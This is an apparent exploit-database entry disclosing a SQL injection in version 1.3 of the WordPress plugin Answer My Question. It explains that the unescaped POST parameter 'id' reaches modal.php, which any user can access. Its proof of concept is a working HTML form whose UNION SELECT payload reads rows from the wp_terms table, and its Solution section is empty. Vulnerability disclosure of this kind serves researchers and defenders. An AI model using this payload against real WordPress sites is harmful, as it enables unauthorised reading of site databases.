Wordpress Answer My Question 1.3 Plugin - SQL Injection Vulnerability

# Exploit Title: Answer My Question 1.3 Plugin for WordPress – Sql Injection
# Date: 10/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/answer-my-question/
# Software Link: https://wordpress.org/plugins/answer-my-question/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.3
# Tested on: Windows 8.1
 
1 - Description
 
$_POST['id'] is not escaped. Url is accessible for any user.
 
http://lenonleite.com.br/en/blog/2016/11/11/answer-my-question-1-3-plugin-for-wordpress-sql-injection/
 
2 - Proof of Concept
 
<form method="post" action="http://localhost:1406/wp/wp-content/plugins/answer-my-question/modal.php">
    <input type="text" name="id" value="0 UNION SELECT 1,2,3,4,5,6,slug,term_group,name,10,11,12 FROM wp_terms WHERE term_id=1">
    <input type="submit" value="Send">
</form>
 
3. Solution
 
 
-- 
Atenciosamente
 
Lenon Leite

#  0day.today [2018-01-09]  #